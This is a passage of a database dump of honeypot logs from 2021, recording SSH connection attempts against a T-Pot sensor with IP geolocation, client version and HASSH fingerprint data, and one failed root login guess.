"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51376, "dest_port": 22, "timestamp": "2021-09-20T11:38:48.777493", "@timestamp": "2021-09-20T11:38:48.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30800	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:38:48.738832+03	2021-09-20 14:45:03.645141+03	{"_id": "aQYAA3wBvYTbRNuEYz-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "feca3c8359bd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:48.738832Z", "@timestamp": "2021-09-20T11:38:48.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30801	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:38:48.7359+03	2021-09-20 14:45:03.646144+03	{"_id": "agYAA3wBvYTbRNuEYz-i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:51376 (192.168.176.2:22) [session: feca3c8359bd]", "session": "feca3c8359bd", "@version": "1", "protocol": "ssh", "src_port": 51376, "dest_port": 22, "timestamp": "2021-09-20T11:38:48.735900Z", "@timestamp": "2021-09-20T11:38:48.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30802	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:38:48.777883+03	2021-09-20 14:45:03.647143+03	{"_id": "awYAA3wBvYTbRNuEYz-i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "feca3c8359bd", "@version": "1", "timestamp": "2021-09-20T11:38:48.777883Z", "@timestamp": "2021-09-20T11:38:48.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30803	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:38:49.05152+03	2021-09-20 14:45:03.649142+03	{"_id": "bAYAA3wBvYTbRNuEYz-i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [root/Guitar] failed", "session": "feca3c8359bd", "@version": "1", "password": "Guitar", "username": "root", "timestamp": "2021-09-20T11:38:49.051520Z", "@timestamp": "2021-09-20T11:38:49.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30804	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:38:50.096933+03	2021-09-20 14:45:03.650142+03	{"_id": "bQYAA3wBvYTbRNuEZz-K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "feca3c8359bd", "@version": "1", "duration": 1.3583769798278809, "timestamp": "2021-09-20T11:38:50.096933Z", "@timestamp": "2021-09-20T11:38:50.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30805	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:38:50.772275+03	2021-09-20 14:45:03.651142+03	{"_id": "cAYAA3wBvYTbRNuEaT8o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 752585422822691, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52180, "dest_port": 22, "timestamp": "2021-09-20T11:38:50.772275Z", "@timestamp": "2021-09-20T11:38:50.772Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30806	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:38:50.948199+03	2021-09-20 14:45:03.652142+03	{"_id": "cQYAA3wBvYTbRNuEaj88", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 52180, "dest_port": 22, "timestamp": "2021-09-20T11:38:50.948199", "@timestamp": "2021-09-20T11:38:50.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30808	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:38:53.412524+03	2021-09-20 14:45:03.655143+03	{"_id": "ggYAA3wBvYTbRNuEcz9F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:38532 (192.168.176.2:22) [session: ba4d69bbbea1]", "session": "ba4d69bbbea1", "@version": "1", "protocol": "ssh", "src_port": 38532, "dest_port": 22, "timestamp": "2021-09-20T11:38:53.412524Z", "@timestamp": "2021-09-20T11:38:53.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30809	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:38:52.940306+03	2021-09-20 14:45:03.656143+03	{"_id": "gwYAA3wBvYTbRNuEcz9F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8360a05a64f9", "@version": "1", "duration": 2.3428854942321777, "timestamp": "2021-09-20T11:38:52.940306Z", "@timestamp": "2021-09-20T11:38:52.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30810	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:38:53.41528+03	2021-09-20 14:45:03.657142+03	{"_id": "hAYAA3wBvYTbRNuEcz9F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "ba4d69bbbea1", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:38:53.415280Z", "@timestamp": "2021-09-20T11:38:53.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
30811	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:38:53.475583+03	2021-09-20 14:45:03.659143+03	{"_id": "hQYAA3wBvYTbRNuEcz9F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "ba4d69bbbea1", "@version": "1", "timestamp": "2021-09-20T11:38:53.475583Z", "@timestamp": "2021-09-20T11:38:53.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
30812	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:38:53.474837+03	2021-09-20 14:45:03.660142+03	{"_id": "hgYAA3wBvYTbRNuEdD_i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1304613274606604, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38532, "dest_port": 22, "timestamp": "2021-09-20T11:38:53.474837Z", "@timestamp": "2021-09-20T11:38:53.474Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30813	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:38:53.47503+03	2021-09-20 14:45:03.661141+03	{"_id": "iAYAA3wBvYTbRNuEdT_1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 38532, "dest_port": 22, "timestamp": "2021-09-20T11:38:53.475030", "@timestamp": "2021-09-20T11:38:53.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30816	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:41.290933+03	2021-09-20 14:45:03.665142+03	{"_id": "QwYAA3wBvYTbRNuERz8P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35400, "timestamp": "2021-09-20T11:38:41.290933", "@timestamp": "2021-09-20T11:38:41.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30817	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:38:44.500403+03	2021-09-20 14:45:03.667141+03	{"_id": "TAYAA3wBvYTbRNuEUD8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:47958 (192.168.176.2:22) [session: 205a87a86066]", "session": "205a87a86066", "@version": "1", "protocol": "ssh", "src_port": 47958, "dest_port": 22, "timestamp": "2021-09-20T11:38:44.500403Z", "@timestamp": "2021-09-20T11:38:44.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30818	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:38:44.071128+03	2021-09-20 14:45:03.668141+03	{"_id": "TQYAA3wBvYTbRNuEUD8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a1f577fe5a7f", "@version": "1", "duration": 2.781344413757324, "timestamp": "2021-09-20T11:38:44.071128Z", "@timestamp": "2021-09-20T11:38:44.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30819	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:38:44.504817+03	2021-09-20 14:45:03.669142+03	{"_id": "TgYAA3wBvYTbRNuEUD8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "205a87a86066", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:44.504817Z", "@timestamp": "2021-09-20T11:38:44.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30820	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:38:44.753707+03	2021-09-20 14:45:03.671142+03	{"_id": "UAYAA3wBvYTbRNuEUT-1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 345566404200268, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47958, "dest_port": 22, "timestamp": "2021-09-20T11:38:44.753707Z", "@timestamp": "2021-09-20T11:38:44.753Z", "event_type": "ssh", 